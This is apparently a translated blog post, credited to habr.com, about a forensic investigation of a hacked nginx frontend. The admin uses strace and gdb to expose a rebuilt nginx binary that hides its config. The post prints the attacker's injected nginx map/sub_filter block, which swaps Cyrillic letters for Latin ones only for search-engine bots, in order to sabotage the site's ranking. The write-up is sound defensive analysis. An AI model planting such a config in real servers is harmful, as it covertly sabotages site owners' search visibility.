Kiedy ‘a’ nie równa się ‘a’. Na śladach jednego włamania

Niezbyt przyjemna historia zdarzyła się jednemu z moich znajomych. Ale na ile była nieprzyjemna dla Michała, na tyle interesująca dla mnie.

Muszę powiedzieć, że mój przyjaciel jest całkiem UNIX- użytkownik: może sam zainstalować system, skonfigurować mysql, php i dokonać prostych ustawień. nginx.
Ma z dziesięć, może piętnaście stron poświęconych narzędziom budowlanym.

Jedna z tych stron, poświęcona piłom łańcuchowym, znajduje się w ścisłej czołówce wyszukiwarek. Strona ta jest niekomercyjna, ale komuś przeszkadza i postanowili ją zaatakować. To DDoS, to brute force, to piszą niedopuszczalne komentarze i wysyłają skargi do hostingu i w RKN.
Nagle wszystko ucichło i ta cisza okazała się złowroga, a strona zaczęła stopniowo spadać w wynikach wyszukiwania.

Kiedy 'a' nie jest równe 'а'. Śladami jednego włamania

To była wstępka, dalej sama historia administratora.

Czas zbliżał się do snu, gdy zadzwonił telefon: „Sanek, nie spojrzysz na mój serwer? Wydaje mi się, że mnie zhakowano, nie mogę tego udowodnić, ale to uczucie nie opuszcza mnie już trzeci tydzień. Może po prostu powinienem leczyć się z paranoi?”

Dalej poszło półgodzinne omówienie, które można krótko podsumować tak:

  • grunt do włamania był całkiem żyzny;
  • haker mógł uzyskać prawa superużytkownika;
  • atak (jeśli rzeczywiście miał miejsce) był celowy i właśnie na tę stronę;
  • problematyczne miejsca zostały naprawione i trzeba tylko zrozumieć, czy rzeczywiście doszło do włamania;
  • włamanie nie mogło dotknąć kodu strony ani baz danych.

Jeśli chodzi o ostatni punkt.

Kiedy 'a' nie jest równe 'а'. Śladami jednego włamania

Na świat patrzy tylko biały IP frontendowy. Między backendami a frontendem nie ma żadnej wymiany poza http(s), użytkownicy/hasła są różne, kluczy nie wymieniano. Na szarych adresach wszystkie porty poza 80/443 są zamknięte. Białe IP backendów są znane tylko dwóm użytkownikom, którym Michał w pełni ufa.

Na frontendzie zainstalowano Debian 9 i w momencie telefonu system był odizolowany od świata zewnętrznego przez firewall i został zatrzymany.

„Ok, daj dostęp, — postanawiam odłożyć sen na godzinkę. — Spojrzę swoim okiem.”

Tutaj i dalej:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

W poszukiwaniu ewentualnego włamania

Uruchamiam serwer, najpierw w trybie ratunkowym.Montaż dysków, przeglądanie logów auth-logi, historia, system logi itp., w miarę możliwości sprawdzam daty utworzenia plików, chociaż rozumiem, że normalny haker „posprzątałby” za sobą, a Misha już sporo „nagonił”, kiedy sam szukał.

Startuję w normalnym trybie, na razie nie bardzo wiedząc, czego szukać, analizuję pliki konfiguracyjne. W pierwszej kolejności interesuje mnie nginx ponieważ, w sumie, na froncie nie ma nic poza tym.
Pliki konfiguracyjne są niewielkie, dobrze zorganizowane w kilkunastu plikach, przeglądam je po prostu cat’po kolei. Wydaje się, że wszystko jest czyste, ale nigdy nie wiadomo, czy nie przeoczyłem jakiegoś include, więc zróbmy pełną listę:

$ nginx -T
nginx: plik konfiguracyjny /usr/local/etc/nginx/nginx.conf ma poprawną składnię
nginx: test pliku konfiguracyjnego /usr/local/etc/nginx/nginx.conf zakończył się sukcesem

Nie rozumiem: „Gdzie ta lista?”

$ nginx -V
wersja nginx: nginx/1.10.3
Wsparcie TLS SNI włączone
argumenty konfiguracyjne: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

W kwestii listy pojawia się drugie pytanie: „Dlaczego taka stara wersja nginx?”

Poza tym system uważa, że wersja jest zainstalowana nowsza:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          mały, potężny, skalowalny serwer web/proxy

Dzwonię:
— Misha, czemu przebudowywałeś nginx?
— Ogarnij się, nie wiem nawet, jak to zrobić!
— Ok, no, śpij...

Nginx zdecydowanie został przebudowany, a wynik listy z „-T” jest ukrywany nie bez powodu. Nie ma już wątpliwości co do włamania i można to po prostu zaakceptować i (ponieważ Misha tak czy inaczej wymienił serwer na nowy) uznać problem za rozwiązany.

I rzeczywiście, skoro ktoś uzyskał uprawnienia root'a, ma sens robienie tylko system reinstall, a szukanie, co tam zostało namieszane, jest bezsensowne, ale tym razem ciekawość zwyciężyła nad snem. Jak dobrze wiedzieć, co chcieli nam ukryć?

Spróbujemy prześledzić:

$ strace nginx -T

Przeglądamy, w trasowaniu ewidentnie brakuje linii typu

write(1, "/etc/nginx/nginx.conf", 21)/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Z ciekawości porównujemy wyniki

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Myślę, że część kodu /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

przekształcono na:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                \/\/ngx_dump_config = 1;
                break;

lub

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

dlatego listowanie po „-T” się nie wyświetla.

Ale jak możemy zobaczyć nasz konfig?

Jeżeli dobrze myślę, problem polega tylko na zmiennej ngx_dump_config spróbujmy ustawić ją za pomocą gdb, na szczęście klucz —with-cc-opt -g jest obecny i mamy nadzieję, że optymalizacja -O2 nam nie zaszkodzi. Ponieważ nie wiem, jak ngx_dump_config można to było przetworzyć w case ‘T’:, nie będziemy wywoływać tego bloku, a ustalimy ją używając case ‘t’:

Dlaczego można używać ‘-t’ obok ‘-T’Przetwarzanie bloku if(ngx_dump_config) dzieje się wewnątrz if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "plik konfiguracyjny %s test jest pomyślny",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# plik konfiguracyjny ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Oczywiście, jeśli kod został zmieniony w tej części, a nie w case ‘T’:, to mój sposób nie zadziała.

Testowy nginx.confJuż rozwiązując problem doświadczalnie stwierdzono, że do działania złośliwego oprogramowania potrzebny jest minimalny konfig nginx w postaci:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

To będziemy używać dla zwięzłości w artykule.

Uruchamiamy debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Kroki:

  • ustalamy punkt przerwania w funkcji main()
  • uruchamiamy program
  • zmieniamy wartość zmiennej określającej wyjście konfiguracji ngx_dump_config=1
  • kontynuujemy/zatrzymujemy program

Jak widzimy, rzeczywista konfiguracja różni się od naszej, wydzielamy z niej niechciany fragment:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Przyjrzyjmy się po kolei, co tutaj się dzieje.

Są definiowane User-Agent‘yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Wykluczane są strony pomocnicze wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

I dla tych, którzy spełnili oba powyższe warunki

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

w tekście html-strona zmienia się ‘о’ na ‘o’ i ‘а’ na ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Dokładnie tak, subtelność polega tylko na tym, że ‘а’ != ‘a’ tak samo jak ‘о’ != ‘o’:

Kiedy 'a' nie jest równe 'а'. Śladami jednego włamania

W ten sposób boty wyszukiwarek zamiast normalnego 100%-cyrylicznego tekstu otrzymują zmieniony śmieć przemycony z łacińskim ‘a’ i ‘o’. Nie biorę się za rozważania, jak to wpływa na SEO, ale mało prawdopodobne jest, by taka literowa mishmash pozytywnie wpłynęła na pozycje w wynikach.

Co tu powiedzieć, ludzie z wyobraźnią.

Linki

Debugowanie za pomocą GDB
gdb(1) — Linux man page
strace(1) — Linux man page
Nginx — Moduł ngx_http_sub_module
O piłach, piłach spalinowych i elektrycznych

Źródło: habr.com

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster